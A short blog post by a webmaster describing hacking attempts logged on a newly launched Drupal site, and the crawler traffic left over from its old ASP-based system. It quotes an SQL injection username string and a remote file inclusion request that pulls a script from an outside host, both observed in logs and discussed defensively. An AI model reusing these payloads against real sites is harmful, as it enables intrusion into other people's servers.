kpozin.net Projects & Musings by Konstantin Pozin

The new Harvard Hillel site has been up for just over a week and I've already logged several hacking attempts. We've had some fine folks from China, Moldova, Germany, and a few U.S. locations try to hit us with SQL, PHP, or even ASP injections.

Drupal's logging system conveniently caught all these, and I've been adding a few IP addresses and blocks to the deny list.

One tried to put something like "TRUE=TRUE OR 1=1" in the username. Nice of Drupal to sanitize all user input strings, huh? Another, assuming that we were still running our old host's ASP-based content management system, tried to pass some extremely long SQL statement as a GET argument. I'd imagine that whoever this was had had some success with this before I put up the new site, and was coming back to try it out again.

On Sunday morning, a wonderful visitor from 74.63.2.169 decided to check whether we have tools/send_reminders.php?noSet=0&includedir=http://www.fo-saverne.com/images/temp/readme.txt?? on our server. This is apparently a three-year-old vulnerability in WebCalendar (which we're not using).

The remote script he was trying to include appears to be unwittingly hosted by a French labor union's site, which, ironically, is running Joomla!

And today, there was a very persistent visitor from 84.19.180.179 (in Germany), repeatedly trying to hit old ASP admin interface, which fortunately no longer exists.

Another interesting experience has been with the search engine crawlers. Our old CMS had a calendar embedded into every page, and that means that every page had potentially infinite URL variations, since the calendar display was handled through URL arguments. As it's turned out, Google, Yahoo, and the gang have indexed tens of thousands of URLs (over the ~150 legitimate ones) on the old site. And they were spending several days trying to find them on the new site. This meant that Drupal's access log was recording a continuous stream of about six to ten 404 errors per minute for several days. For a while, 99.5% of all bandwidth usage went towards serving Drupal-themed 404 pages.

The search robots aren't particularly responsive to changes in robots.txt, so I ended up blocking access to all *.asp pages at the server level in order to avoid wasting resources and washing out all real entries in Drupal's log. We'll have to see how long it takes for Google to clear 60,000+ pages of argument combination URLs from index, and to properly show the new site in its search results.